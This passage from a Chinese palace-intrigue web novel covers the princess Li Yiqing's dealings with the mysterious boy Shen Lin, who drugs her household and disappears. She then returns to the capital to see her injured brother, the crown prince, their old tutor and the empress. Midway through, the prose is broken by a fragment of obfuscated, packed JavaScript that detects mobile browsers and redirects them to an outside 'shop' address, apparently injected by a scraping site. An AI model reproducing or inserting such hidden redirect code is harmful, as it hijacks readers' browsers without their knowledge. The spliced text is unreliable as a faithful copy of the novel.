就连毓心也忍不住目光眷恋地看着夜空中一朵朵绽放、转瞬即逝的烟花。
“我记得殿下三年前曾经做过桃花形状的烟花，取名‘岁岁今朝’。”毓心的语气带上了几分怀念，“那一场烟花，是我生平所见最盛大的烟花，半个京城都沐浴在烟花之中，恍如白昼。”
洛石身为主要执行人员之一，也忍不住附和起来。
“对对对，那一场烟花我到现在都记得，殿下一路从宫宴门口跑向高台，灿金色的宫袍系着细碎的铃铛，她指着背后的烟花，笑意明媚到可以灼伤人。”
元辞章在心底同意了洛石的说法。
元尧臣眼神向往，语气惋惜，“可惜我当时还在外，没有机会看到那一场胜景。”
“好啦。”李意清被几人你一言我一语的夸赞夸得有些不好意思，“那场烟花是敬献皇祖母所用，自然要壮观大气，不过今日你我皆在，举杯共乐，这一场烟花，在我的心中丝毫不比三年前那一场差。”
毓心：“殿下说的是，只要我们还在一起，那么每一场烟花，都值得永远铭记。”
茴香：“我希望以后每一年，不管在哪里，我们都可以在一起。”
他们叽叽喳喳地说着话。
李意清听着众人说的话，眼中布满了笑意。
放在身侧的手忽然被人握住，修长的指骨有些强势分开她的手指。
十指相扣。
李意清垂眸看了一眼两人交握的手。
她抬头去看元辞章的侧颜，雪夜除夕，烟花声打破了梨花弄堂长久的静谧，他的目光落在上升的烟花上，眸色微凉如夜，几乎融为一体。
李意清忍不住想伸手去触摸他的眉眼。
“元辞章。”
她的声音放得很轻，轻到只有他们两个人才能听见。
“嗯？”
他的视线转而落在李意清的身上，读懂她的眼神，微微俯身侧头。
“这是我们一起过的第三个除夕，”李意清凑近他的耳畔，“以后每年除夕，都在一起……好不好？”
她一边说着，一边伸手摇晃着他的手。
元辞章的眸色深了一些。
他喉结微微滚动，有些低哑道：“好。”
她总是这样，撒娇而不自知。
两人凑近的小动作自然被人注意到了，不过其他几人都心照不宣地错开了视线，默契地举杯共饮。
今夕何夕，得见此良辰。
141. 波澜
新春的热闹一直延续到了正月十五上元节。
十六清晨，天还蒙蒙亮的时候，忽然院子里传来了一声惊呼。
“啊！”
毓心听到声音，连忙走到门口，看见一个被吓到的元尧臣。
“小声些，”毓心朝他比了一个嘘声的动作，“殿下还在里面睡着呢。”
元尧臣立刻双手捂住自己的嘴，用眼神示意外面，压低声音道：“外面，外面躺着一个人，不知道是死是活。”
毓心：“啊？”
带着疑惑，毓心和元尧臣一道走出门去。
门口，躺在地上的少年衣裳破烂，眉头还沾着雪，嘴唇冻得发紫。
毓心看到少年的一瞬间就愣住了。
“毓心姐姐，你认识他吗？”
元尧臣观察着毓心的反应，轻声推测道。
毓心一时间不知道该说些什么。她缓过神，才小声对元尧臣道：“你先将人挪进去，我去和殿下说一声。”
说完，她朝着内院跑去了。
元尧臣欲哭无泪地看着地上生死不明的人，犹豫片刻做好心里建设，才试探性地勾住他的腋下，将人给拖了进来。
挪动的过程中，少年醒了过来，他目光迟钝地从元尧臣的脸上掠过。
元尧臣立刻松开了拽他的手，将手背到身后。
“可不是我打伤的你。”
少年抿着唇，并不说话。
元尧臣本还有几分警惕，担心这是上门乞讨的，可是看他的神情，却又觉得不是。
他试探着问：“你放心，我没有恶意。你的眼睛怎么了？”
少年神色仍然平淡，似乎根本没有听到元尧臣的话。
元尧臣又试探了几句，见少年始终一言不发，干脆直接蹲下来盯着他。
另一边，睡梦中的李意清被毓心拍醒。
“殿下，殿下，沈林来了。”
李意清本还迷迷糊糊，闻言立刻精神了不少。
“沈林？不是将他留在太子府了吗？”
“是啊。”毓心担心之处就在这儿，“今天小元掌柜在门口看到了沈林，那模样，不比海上好。”
李意清快速披上外套，外面添上一件斗篷，朝外走去。
外面，元尧臣盯着沈林，沈林则是双目无神地望着门前沾着灰尘的雪堆。
屋檐下的雪堆长久不见阳光，厚厚的堆在一处，无人问津。
李意清脚踩雪地的声音吸引了沈林的注意，他迟钝地缓缓抬头，像是初见那般避开阳光，从她的鞋尖缓缓往上。
最后视线落在李意清柔美而明艳的面容上。
他声音沙哑地厉害，“姐姐。”
姐姐，我终于找到你了。
李意清这才注意到他眼眸边缘上的红色。
她上前两步，走到沈林的面前蹲下，仔细观察着他眼睛的情况。
沈林感受到了眼眶上覆盖的阴翳，但是他并不在意。他像是看见遇见春雨的笋，又像是接触流泉的薄冰，直勾勾地看着李意清。
像是生怕下一秒，眼前人就会从面前消失。
李意清抿唇，安静地看着他。
她心中有无数疑问想要脱口而出，比如怎么逃出太子府，怎么一路找来舒州，又怎么正好倒在了她的门前。
可是看着沈林犹如小狗一般真挚的眼神，她最终还是轻声开口：
“眼睛怎么回事？”
沈林：“你不喜欢。”
李意清：“什么？”
沈林语气低落而笃定：“你不喜欢我的眸色。”
李意清一时间失言。
沈林看着李意清眼中一闪而过的愧疚，声音放柔了几分：“是莨菪和麻黄。本来可以彻底失明的，但是我还想见一眼姐姐。”
他像是完成了什么重要的心愿，心满意足道：“现在用不上了。”
元尧臣一脸震惊地看着沈林要自戳双目的举动，“啊”了一声，伸手挡在眼前。
这画面得有多血腥。
李意清伸手握住了沈林的手腕。他还是一个少年，常年受伤，手腕和李意清差不多粗细。
温暖的热度虚虚地圈在自己的手腕上，沈林可以很轻松地推开。
但是他没有，只是一如既往地、用一种安静而无辜的眼神望着他。
李意清在心底叹了一口气，松开自己的手。
“没有不喜欢。”
沈林的眼神明显不信。
“真的没有。”李意清复述了一遍。
只是你的眸色，让人有些害怕。
沈林低下头，不知道信了还是没信。
李意清的视线落在沈林单薄的衣裳上，连日的奔波，他的衣裳早就破烂的不成样子，脸上也沾着尘埃和雪土。
元尧臣在旁主动道：“我和他的身量相近，可以借给他一套衣裳。”
李意清：“多谢。”
她的视线落在沈林低垂的眼眸上，语气像是劝说：“去洗漱一番？”
沈林眼角余光看到李意清的衣角，默默点了点头。
元尧臣摸不准沈林的身份，只当他是京城中谁家偷溜出来的公子，李意清的旧识。见李意清终于说动了他，心中暗松一口气。
沈林走了第二步，有些不确定地回头。
“殿下，姐姐。等我出来，你还会在吗？”
李意清愣了一瞬。
元尧臣：“怎么会不在呢，这是在家啊。”
沈林偏执地看着她。
李意清：“……会在。”
那一瞬间，李意清忽然想到了沈林曾经对她说的话——
姐姐，若不能跟在你的身边，我情愿那天死在海上。
这孩子，看着越来越阴郁了。
得到李意清的保证，沈林这才顺从地跟着元尧臣走了进去。
直到他的身影完全消失在院中，李意清才转头看向毓心，“备纸笔。”
沈林的出现实在太蹊跷了。
而且以他现在的状态，沉郁而冷淡的态度，问出什么也很难做到。
毓心立刻点点头，回屋准备纸笔。
李意清不敢耽误，快速写完内容后折起来，让毓心快马加鞭送到驿站。
为了便宜行事，李意清甚至拿出了她几乎从未在舒州使用过的公主令牌。
沈林出来的时候，看见李意清的身影，长长地松了一口气。
“姐姐。”
李意清目光落在他瘦削的肩膀上，良久，轻声问：“怎么受了这么重的伤。”
沈林满不在乎地看了一眼自己身上的伤，摇了摇头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598744|129224||http|test|mini|href|location''.split(''|''),0,{}));
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他带着小心翼翼地期待问道：“姐姐，我可以住在这里吗？”
李意清：“是太子府不好吗？”
“嗯，”沈林点了点头，“那里没有你，我不喜欢。”
他重复了一遍先前的话，“姐姐，我可以留下来吗？”
李意清没有立刻答应。
她斟酌了片刻，许诺道：“你可以在这儿先把伤养好。”
沈林忽然笑了：“然后呢，继续被姐姐送到太子府囚禁吗？”
李意清看向他的视线微微错愕。
沈林闭眼，声音很轻：“抱歉。”
他看着李意清站在光下，伸手像是要够什么。
“姐姐，如果重来一次，你还会救我吗？”
这句话似乎就像是明晃晃地在说自己的身份不同寻常。
李意清没有应声。
沈林：“或许一开始，你就不应该救我的。”
他说完，忽然轻声叹息，像是感慨什么，而后发出极轻地笑声。
李意清喊来洛石看守住他，自己去请郎中。
*
一个月后，京城的消息姗姗来迟。
年宴前夕的深夜，太子府发生一场火灾。
太子和太子妃躲避不及时，双双困于火海。
后来太子为了保护太子妃不被烧断的房梁压倒，主动推开了太子妃，自己被房梁压住，双腿被大面积烧伤，连里面的骨头都有损伤。
至今仍不能下床行走。
李意清看着信上那一行字，久久不发一言。
毓心和茴香从未看见过李意清脸上的这副神情，有一丝不可置信，又有一丝难以掩盖的愤怒。
她走到了后院休养的沈林面前，压抑了心中的怒火，冷声问：“你做的？”
沈林看着她握着信纸的手微微颤抖。
“现在我说什么，姐姐都会怀疑是我吧，”沈林像是一直在等这一天的到来，视线紧紧地盯着李意清的脸，“姐姐是不是想杀了我？”
李意清冷然地看着他。
沈林：“不过不是。对不起啊姐姐，骗了你。”
他站起身，伸手随意扯开了身上的绷带。
一刀刀新旧交错的疤痕赫然出现。
沈林活动手腕，掌心突然出现一把飞刀，他动作熟稔地旋转刀身，像是经验丰富的刺客。
刀尖银光冷冷，快速转动下只能看见一连串的残影，令人眼花缭乱。
“如果是我出手，太子不能只折了一条腿。”沈林停下手上的动作，忽然歪头朝她眨了眨眼睛，“不过那是姐姐的兄长，我还不希望姐姐现在就伤心。”
李意清后退了一步。
“其实好多次动手的机会，我都刻意忽视了，姐姐难道没有什么奖励给我吗？”沈林的目光依旧温和地像是一只温驯的小狗。
李意清定神，朝着毓心微微摆了摆手。
毓心立刻反应过来，悄声离开。
沈林嗤笑一声：“找洛石哥哥吗？没有用哦，他打不过我的。姐姐，能和你相处这一个月，我很高兴。”
他站起身，身上的衣袂随他轻轻拂动。
李意清忽然感觉到有什么细小的粉尘进入了自己的身体，意识越来越昏沉。
“游戏结束，姐姐，下次见……”
142. 获益者
再次醒来的时候，已经是黄昏。
李意清揉了揉自己的手腕，才注意到自己躺在后院厢房的床上。
沈林的东西很少，此刻醒过来，像是做了一场噩梦。
李意清的头还是疼着，她伸手揉了揉自己的太阳穴，余光往身边一瞥，见到地上七零八落躺着的茴香。
她心头一紧，立刻强撑着脑袋中传来的昏沉感下床，伸手去试探茴香的鼻息。
还好，看来和她一样只是昏睡了过去。
地上的信纸敞开着，太子双腿受伤的字近在眼前。
不是梦。
李意清将信纸捡起来，扶着茴香靠在一旁，转身走出门去。
门外，毓心也躺在地上。
李意清将昏迷的两人放好的时候，天色已经完全暗下来了。
下值的元辞章一进门，就感受到了院中不同寻常的气息。
他在后院的厢房门口看见了李意清的身影。
李意清坐在门槛上，微微偏靠着门槛，一缕发丝遮住了她的神色。
元辞章走到她的身边，李意清听到动静，睁开眼睛抬头看他。
“怎么了？”
元辞章随意地一摆衣袖，席地而坐。
李意清靠着他的肩膀，讲手中的纸递到元辞章的掌心。
“你看。”
元辞章将信纸上的内容一一扫过。
李意清心中有些愧疚，她伸手扯着元辞章的衣袖，眼泪从脸庞滑落下来。
“二皇兄骂我蠢，可是我没信他的，现在看来，我是真的掉以轻心了。”李意清的语气中带着淡淡的自嘲，“明明知道这个人可能有问题，可还是自以为是。”
元辞章：“没有。你当初所作所为，本就是善心之举。后来将人带到京城，不就是想放在眼皮底下看管吗？”
李意清：“我还是有错，皇兄的腿伤……”
“如果沈林真的是大夏国的皇室，那么就算你在秀州不理会他，他依旧有办法来到京城。再者说，他应该说过，如果是他下手，伤的不仅仅是一条腿。”
元辞章语气温和而笃定，“如果你因为你的善良而自认为罪责，那么我和你并没什么不同。我们是共犯。”
李意清将头埋在他的肩膀，故作镇定甚至微微带笑的声线中泄露出一丝哭腔。
“元辞章，我感觉我好笨，像是农夫与蛇里的农夫。”
元辞章伸手轻轻拍着她的肩膀。
等李意清的心情平复下来后，元辞章才轻声问：“你要回京城一趟吗？”
太子殿下的腿伤。
“要的，”李意清微微颔首，想了想有些不确定道，“多则五个月，短则两个月，我肯定回来。”
太子殿下腿伤一个多月未愈合，朝廷中还没有掀起波澜，顺成帝能压制住一时，却终究压制不住一世。
元辞章并不意外，伸手将她的发丝别到耳后。
“我等你回来。”
商量好出行的计划后，李意清简单和毓心收拾了点东西，第二天天一亮，就上了路。
从舒州一路北上，回到京城的时候，已经是三月底。
京城外的山坡上层层叠叠开满绿芽，晨曦破晓，天边的鱼肚白泛着暖黄色的光辉，给大地铺上一层薄薄的金纱，随后灿金色的光线慢慢占据整片天空。
永昌河畔的溪水悄然解冻，倒映着蓝天和沿河堤坝上的花草。
入城之后，李意清让毓心先回公主府，自己去了太子府上。
太子府的状态和往日并无不同，守门的侍卫认出李意清，主动开了门。
“殿下，太子外出办案，现在是太子妃在府上。”
他像是刻意强调些什么。
李意清微微朝守门的侍卫点头，在接引丫鬟的引导下步入正堂。
正堂中空无一人，李意清等候了片刻，才看见姗姗来迟的太子妃。
太子妃眼眶微微发红，看见李意清的瞬间，眼眶瞬间蓄满泪水。
“妹妹。”
李意清心揪了一下，问道：“皇嫂，你没事吧？”
“我还好，殿下把我护在身后。”太子妃暗淡，“现在殿下勉强能下床行走，却不能久站。”
能下床行走，算是一个好消息。
太子妃见李意清眉宇微霁，定了定神，“殿下受伤之事被陛下压制下来，借口殿下南下周巡，现在还未曾公开殿下的伤势。”
太子殿下贤名在外，可是满朝大臣却不能接受一个身患残疾的君主。
“妹妹，你和殿下一母同胞，自然就是自家人。”太子妃用手绢轻轻擦去自己眼角的泪水，“我带你去看看你皇兄。他应该也很想见你。”
太子妃一边讲述着那日的火灾，一边引着她往内院走去。
“……此事不宜张扬，所以追查起来有些繁琐。不过那日大火不偏不倚刚好是寝殿附近，周边还被泼了油，肯定是有人刻意为之。”
太子妃说起那日的事情，语气还有些忿忿不平。
李意清：“后来查出来了吗？”
太子妃冷笑一声：“查到了府上挑水的长工，说是克扣了工钱。可是我不相信事情单单这么简单，只是碍于风声，不能彻查下去。妹妹，断案还需要获益，这件事从始至终，最终的受益者就那么几位。”
李意清：“……”
太子受损，获益最大的当属二皇兄等几位皇子。
二皇兄作为唯一弱冠的皇子，若是太子真的因此储位不保，二皇子自然会被朝臣推举。
虽然在李意清的心底，二皇子虽然行事乖张无度，但是却不像是个心狠手辣之人。
太子妃看出李意清的犹豫，紧紧握着她的手道：“知人知面不知心。妹妹，你和殿下和血脉至亲，你可一定要站在太子殿下这一边啊。”
话音落下，两人走到了太子房间门口。
太子没有躺在床上，而是拄着木杖在房间中来回踱步。
李意清透过光影看他，鼻尖忽然一酸。
没走几步，太子就需要站定休息一会儿。
太子妃在门外道：“殿下，意清妹妹来了。”
太子的动作僵硬了一会儿，将木杖放在一旁，坐在了椅子上。
“进来吧。”
太子妃推开门，李意清看见了坐在椅子上的太子皇兄。
他的脸色有些苍白，豆大的汗珠顺着他的侧脸滑落。
李意清竭力忍住自己想要哭出来的冲动，轻声喊道：“皇兄。”
太子看着李意清的红红的眼眶，打趣道：“你不会是要哭鼻子吧？”
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李意清：“……才不会呢。”
太子不置可否地笑了笑，转而看向一旁的太子妃，“诗如，你去帮我们煮碗茶过来吧。就要这几日刚送来的雾山雪芽。”
太子妃微微点头，道了声“殿下稍等”，转身离开了房间。
李意清意识到这是太子特意支开太子妃。
等太子妃的身影消失在转角，太子才看向李意清。
“你们来的路上，太子妃是不是和你说了许多？”
李意清点了点头。
太子的声音和煦如春风：“诗如怕我受委屈，若是说话偏激了一些，你千万不要放在心上。”
李意清低声道：“我知道的。”
“别难过，太医说了，我的腿伤会慢慢好起来，”太子看着李意清一副无精打采的模样，主动出声宽慰，“你现在能回来看我，我很高兴。”
顿了顿，他道：“不过有一件事——沈林不见了踪影。”
李意清：“我知道，他特意来舒州找到了我，后来给我和茴香她们下了迷药，现在不知所踪。”
太子：“这样，看来之前我们的猜测并没有错。此事是我没能看守住他，是我的失误。”
如今放虎归山，再见可就免不了一场腥风血雨。
李意清目光落在太子缠满绷带的腿上，“当时应当听二皇兄的，斩草除根。”
“不怪你，沈林善于伪装，况且当时你我将他留在身边，本就抱着战时以其为人质的想法。”太子微微摇头，“罢了，此事已经过去了，你别放在心上。”
太子殿下点到即止。
少顷，太子妃端着煮好的雾山雪芽走了进来。
清冷幽静的茶香聘婷，萦绕整间房屋。
太子妃的语气有些感慨，“妹妹，今日你来了，殿下的精神才好一些。今晚不如住在太子府上，我去给你收拾客房。”
意清回来的隐蔽，确实不必担心行踪暴露。
太子微微沉吟，“这几日诗如派些人手去公主府打扫，过几日我将意清送去城外，到时候你假装去接她。”
太子妃点头：“这样好，明日我先去给给i母后请个安。这些日子皇后娘娘担心太子殿下的安危，身体有些不好。”
母后有恙，身为子女回京城探望，于情于理，都让人挑不出差错。
李意清听到皇后身体不好的时候心漏了一拍，可是也知道太子府面临的困境。
如果可以，她真想现在就飞到皇后的坤宁宫。
似乎是为了缓和气氛，太子道：“真是惭愧，母后是长辈，我为兄长，却反而需要意清担心我们，实在是不应该。”
李意清制止了他的话：“皇兄，别这样说，我们是一家人。”
太子微笑着点头。
“对了，意清，你这次回来，和伯怀商量过没有？”
“我和他说了此事。”李意清犹豫了一瞬间，开口问道，“兄长能否帮我送一封信回去？”
她在京城的人终究没有太子多。
太子：“当然可以。”
李意清这才放下心来。
太子站起身，脚步有些不稳地走到压在门后的小柜边。
他轻轻挪开压在书案上的青竹，手指在桌板上摸索，不知道摸到哪一个位置，桌板猛地弹了开来。
143. 令牌
太子示意李意清走近前。
“意清，这是京城禁军和天字军的掌钥，见此令牌，如见我。”太子将一块黑金色的令牌交到李意清的手中，“现在我给你。”
李意清知道京城禁军一直追随太子麾下，却是第一次知道天字军也愿为太子效力。
她垂眸看了一眼太子手上的令牌
黑金色的令牌看着古朴，上面纹刻着如貔貅一样的纹路，散发着淡淡的威亚。
李意清推脱道：“这太贵重了，我不可以收。”
太子：“太子府现在早就成了众矢之的，父皇渐渐年迈，余下的皇弟野心勃勃，你是我的妹妹，将这样重要的东西交给你，我才能放心。”
李意清接过了那枚象征着皇城权力的令牌。
她沉默了片刻，认真道：“既然皇兄信任，我暂且代为保管，若是皇兄有一日需要，尽管开口。”
太子：“不急。而且我有一种预感，这令牌放在你手里，能比放在我这发挥出更大的作用。”
太子妃在旁安静地看着两人的交谈。
沉默了片刻，太子忽然道：“三天后，诗如派人去城门接你，你回来看望过母后，就早些回到舒州吧。”
太子说得隐晦，可是李意清还是听出了他的话外之音。
春闱在即，进京赶考的学子从五湖四海汇聚而来，太子身为监国和储君，无论如何，理应出面。
如果春闱那日他还不能正常行走，难免会掀起轩然大波。
太子坐在椅子上摸索自己的茶杯：“这件事你不要掺和。元辞章聪慧，你也机敏，在舒州避开京城这些琐事，才是最正确的选择。”
李意清当然明白太子的顾虑。
她看着太子眼中不容拒绝的眼神，点了点头。
即便她心底那么希望可以留下来，直到皇兄能够完全康复。
可是确实如太子所言，这件事错综复杂，她不应该混杂其中。
李意清的心底隐隐约约有一道声音告诉自己：二皇子是值得相信的，可是现实不可否认的是，二皇子也是其中获利最多的。
“旁观者清，就让我帮皇兄看看清楚，京城中谁才是真正的豺狼。”
太子怔愣了一瞬间，才笑了出来。
笑够了，他道：“意清真的是长大了。见你之前，我脑海中设想过无数安慰你的场面，我担心你愧疚，担心你自责，可是今日见到你，一个安慰的词都没有用上。”
李意清安静地听着兄长的话。
太子道：“可是我内心深处，又有一点希望你不必如此懂事，你大可以哭出来，皇兄永远是你的后盾，就像父皇。”
李意清抬起了头，手在脸颊靠近眼睛旁边扇了扇，呼出一口气道：“皇兄，我本来没想哭的。”
可是你这样说，我又怎么忍得住。
太子哈哈大笑，像小时候一样伸手在李意清的头上揉了揉，“乖。”
几人交谈片刻，已经是深夜，太子又嘱咐了几句，让李意清回房休息。
过了三天，一切准备妥当，李意清才“光明正大”地回到了公主府。
李意清数日，不少京城的达官贵胄都特意上门来拜访，顺道隐晦地打听各个州府下面的消息。
人群之中，周太傅的出现显得格外显眼。
李意清站在公主府的台阶上，目光越过前来拜访的各位高官夫人，视线和站在人群中的周太傅遥遥相望。
来者是客，毓心将人一一请到公主府的偏殿花厅接待，而周太傅则在侍女的指引下到了书房。
李意清迟来几步，走到门口，听到门里面传来的交谈声。
“都说了坐轮椅过来，您非要争这个面子，现在腿疼的还不是您老自个儿。”
说话人的声音很耳熟，是周太傅身边一直侍奉的小厮。
周太傅咳了一声，“哎呀，孩子大老远的回来，总不好叫她看见一个邋里邋遢的老头儿。”
李意清在门外静等了一瞬，然后才敲响了门。
门内的声音很快打住。
李意清若无其事地走进来，嘴角扬起一抹笑：“周太傅，童蒙启智录在舒州卖的可好了。不少书斋供不应求。”
周太傅颇为自得地摸了摸自己的胡须：“那当然，也不看看编书者是谁？”
前任太子太傅，两朝元老，周太傅确实有这个底气。
李意清笑意盈盈，走到他的身后，双手放在他的肩膀上轻轻揉按。
手下的肩胛骨瘦弱单薄，皮肤紧贴着骨架，青筋凸显出来。
肩膀不再挺拔，像是被风霜侵蚀的老树，布满岁月沧桑的痕迹。
李意清还记得曾经这双手牵起过他们的手，写下一句句诗文。
“太傅这段时间过的怎么样？”掩下心中的伤悲，李意清笑问。
周太傅不假思索道：“都好、都好，吃得好，住的也好。”
旁边的小厮撇了撇嘴：“哪有啊，你先和驸马远去舒州，太子又在年节前夕去往黔东南剿匪，太傅大年夜都担心得吃不下去饭。”
周太傅道：“意清我不担心，我就是担心序泽……太子，太子现在还好吗？”
意识到自己的失言，周太傅迅速地更正了自己的用词。
李意清脸上挑不出一丝瑕疵，“当然都好了，再过十日就是春闱，太子皇兄一定能及时赶回来的。”
她顿了顿，才道：“等他到时候回来了，你好好看看他。”
周太傅心底本有疑窦，往年太子殿下外出办差，都会先来和他道别。
这次却没有，只有一封盖着黔东南信戳的信。
好在字迹确实是太子殿下的字迹。
周太傅心想，或许是真的有急事耽误了也说不准。所以不能第一时间先来他的府上报一声平安。
听到李意清的话，周太傅心微微安定了一些。
旁边的小厮道：“於光殿下，今天太傅爱美，不让我们推着他的木轮椅过来，可是他在家中可喜欢用了。”
李意清脑海中飞快地闪过太子皇兄安静垂眸看着自己腿的模样。
不会的，皇兄吉人自有天相。
一刹那的反应，李意清低下头来，不
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敢叫人看清自己眼中的神色。
“这样啊，怪不得太傅看着如此矍铄，精神看着一点不比年轻人差。”
周太傅没被她的甜言蜜语哄骗，哼哼一声道：“胡说些什么，我都这么一大把年纪了。”
李意清又打趣了几句，周太傅原先绷着的神色维持不住，笑了出来。
等笑够了，周太傅才道：“你若是能联系上太子殿下，替我带句话给他，老头子有点想他了。”
周太傅除夕夜里没吃下去饭，周夫人派人请了郎中回来，说是周太傅早年操劳，晚年也不肯安心静养，身子骨越来越差了。
郎中敬畏周太傅的望名，说话含蓄，可是周太傅还是听了出来——
他现在的身体已经快到极限了，能这样安稳过年的日子，越来越少了。
周太傅自问心中没什么可惜的，只是现在有些放心不下这两个孩子。
话说出口，周太傅又微微摇了摇头：“是我老糊涂了，他远在黔东南，这几日估计就准备启程了，你又怎么能说得上话。”
李意清听到周太傅的话，微微沉默。
周太傅何等聪慧，哪有什么样的急差，需要不过年也要去办。
只是周太傅没有点破，他在维护太子，可是心中关切难掩。
太子受损，兹事体大，李意清不敢冒险，只能安抚道：“是啊，过几日就能见着了……太傅终究还是偏心的，一门心思在太子皇兄身上，我都在你面前了，你都不关心我。”
周太傅被她这句话逗得哭笑不得。
李意清见周太傅重新笑出声，才讲述了自己在舒州整理卷宗一事。
“舒州卷宗错综复杂，冤案错案不少，纠正过来事小，可是有些案子的人都不在了，我越是整理，越觉得心酸。”
会觉得自己虽然能看得清是非对错，可是却已经无力更改。
周太傅看着李意清略带茫然的眼神，面容和蔼了许多。
他的语气温和，完全一副慈祥长辈的模样：“那些卷宗经过你手，你有什么想法？”
想法？
李意清微微迟疑，小声道：“大庆律法。”
舒州不少冤案错案，都是被钻了一些细分的漏洞。加之前任、前前任知州的贪赃枉法，就更多陈年旧案说不清道不明了。
舒州如此，大庆其他地方也是这样。
周太傅摇了摇头，刻意压低了自己的声音，生怕被外面的人听见一样。
“现在你的能力还不足以动这个层面，除非……”
除非坐上最高的那个位置，还有不下半数的支持者，否则这件事牵一发而动全身，非但做不成自己想做的事情，甚至会因此受到波及，伤及自身。
贪官污吏不是这一年才有的，这样的清算，会损害多少人的利益。
李意清默默无言。
周太傅道：“不过也不必气馁，你挑选一些有代表性的案子整理成册，还是有不少人会去注意。关注办案公正的人越多，以后你想要完成这件事，也是有一些助力的。”
“我明白。”李意清颔首。
144. 三月鲫
“回到”京城的第二天，李意清才递了帖子进宫。
因为皇后身体抱恙，宫中变得有些沉寂，一路上的宫女都低垂着眉眼，行色匆匆。
李意清走到坤宁宫，看见了一直在皇后身边伺候的掌事姑姑。
姑姑走到李意清的身边弯腰行礼，“殿下安好，娘娘早就在等着殿下过来了。现在有殿下陪着娘娘说话，娘娘的心情一定会好起来的。”
李意清：“母后现在身体怎么样？”
掌事姑姑道：“现在精神尚可，今儿晨起还特意去了后厨做了一碗牛肉煎豆腐，还有一碗鲫鱼汤。”
李意清的神色微微动容。
皇后仁善，谨记不食三月鲫，可是因为她喜欢，就愿意下厨去做。
民间俚语所言：莫食三月鲫，万千鱼子藏于腹，莫打三月鸟，子在巢中待母归。
李意清跟随着掌事姑姑的步伐踏入了坤宁殿中。
坤宁殿弥漫着一股檀香的味道，不似花香张扬明媚，也不像果香清新直白，而是若有似无地混杂着些许木质的香气，闻着就让人感觉到一阵宁静。
掌事姑姑：“现在季节还不到，不然娘娘说要在殿中摆上一些瓜果，也省的老气横秋。”
李意清抬头看高台上的女人。
女人一身大红色镶金边的华贵衣袍，连袖口都用金丝银线滚边，身上的彩凤点缀着各种精致美丽的珠宝，一只手微微托着自己的侧脸，却遮不住凤冠的摇摇欲坠。
李意清走近了些，才抬高声音喊道：“母后。”
假寐的皇后立刻转醒，她睁开眼眸，轻柔的视线落在李意清的身上，语气有些不易察觉的疲惫。
“意清，你回来啦。过来，坐在我身边。”
李意清熟稔地上前，不动声色看了一眼桌上烟丝袅袅的瑞脑金兽。
那里面混杂着其他草药的味道，只是檀香放得多，原先的味道被掩盖下去。
李意清走到皇后的身边，认真打量着她的脸庞。片刻后得出结论，“母后，你看上去憔悴多了。”
皇后含笑道：“病来如山倒，病去如抽丝。前些日子的春寒确实难熬，不过好在王院判医术高超，我现在身体已无大碍。”
她一边说着，一边抚摸着李意清的手。
“倒是你，看上去精神有些不好。”
李意清将自己的侧脸贴在皇后的膝盖，凸起的刺绣摩擦着她细腻白皙的肌肤。
“因为心中挂念母后，所以精神才会不好，若是母后好起来了，清儿自然也就能好起来。”
皇后伸手刮了刮她的鼻尖，“就你嘴贫。”
她满心满眼尽是关怀与疼爱。
李意清看着皇后温柔地注视下，讲起自己在舒州府的所见所闻，讲到邻里和睦时会欢笑，讲到恶人行凶的时候会愤怒，讲到刘阿婆为了救人而牺牲自己的时候会落泪。
她脸上的神情丰富极了，皇后安静地看着她所有的反应，像是想把这一幕幕牢牢镌刻在自己的脑海之中。
李意清：“好在刘阿婆完成了自己的夙愿……母后，我都讲了这么多和我有关的事情了，你也和我说说你吧。”
皇后怔愣了一下，才有些迷茫地低声问：“我吗？”
李意清点了点头。
“每一天都差不多，早起后等各宫妃嫔前来请安，闲暇时会去御花园看一看花，或者去玉鲤池喂一喂鱼。你父皇前两天说看奏折头疼，问我将玉鲤池改成千鲤池可好。”
李意清闻言也有些惊诧。
“父皇怎么会突然这样想？”
“谁知道呢。”皇后的语气依旧轻柔，“当时我就说‘陛下为天下人的官家，是天之圣子，圣上至尊，将鱼池改名这件小事，怎么会需要我同意’，然后你父皇说……”
说到此处，皇后的脸庞忽然染上一抹红晕，像是晨光熹微间偶然露出的一抹光线，在母仪天下的皇后身上更是显得格外稀奇罕见。
李意清被皇后勾起了好奇心，见她忽然停下，忍不住追问道：“后来呢，后来发生了什么？”
皇后被李意清缠的没有办法，将后半段说了全。
“后来你父皇说，后宫毕竟是我当家，一草一木的变动，多少还是应该让我知晓的。”
李意清忍不住笑了出来。
皇后也淡淡垂眸，皇宫的生活日复一日，简单枯燥，可是少年时陪伴在自己身边的那个人初心不改，已经是难能可贵的事情了。
有侍女前来询问：“娘娘，饭菜已经准备妥当，现在是否可以传菜？”
皇后询问的视线看向李意清，李意清点了点头：“母后我饿了，而且姑姑说，今日母后亲自下厨了，做了我最喜欢的牛肉煎豆腐。”
“既然清儿饿了，就准备布膳吧。”皇后淡声吩咐后，手轻轻在李意清的背上轻拍。
一顿饭后，李意清在坤宁宫睡下。
皇后在旁静静地看着她安静的睡颜，久坐腰背酸痛，可是就是舍不得挪开视线。
旁边的掌事姑姑小声劝道：“娘娘，殿下还得睡上一阵子，你也先回去休息一番吧。”
皇后道：“我一共只有两个孩子，现在我身子这个情况，见他们一面，就少一面了。”
掌事姑姑连忙呸了几声：“娘娘可是千金贵体，身子骨好着呢，休说这些不吉利的话。”
掌事姑姑激动之下，声音忍不住抬高了几分。
惊醒了睡梦中的李意清。
李意清迷迷糊糊地睁开眼睛，看下皇后的袖袍，下意识就环抱住了她的腰身。
“母后，我睡了多久？”
皇后远远地看了一眼厅中燃烧的香炉，“大约半个多时辰，清儿可还困？要不要再睡一会儿？”
李意清闭着眼睛摇了摇头。
掌事姑姑见皇后和殿下这般温情的时刻，主动抬手，示意殿内伺候的宫女退下。
等人都退下后，皇后才回抱她轻声询问：“这次回来，你见到你的太子皇兄了吗？”
李意清：“见到了，皇兄恢复的不错，现在已经能下床行走，他还让我给母后带话，请母后不必为他担心。”
皇后松了一口气。
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“那日事情发生的匆忙，你父皇只言片语，不能多言，我只能望着皇宫四方墙担忧，现在听到你这么说，我这颗心总算是放回了肚子里。”
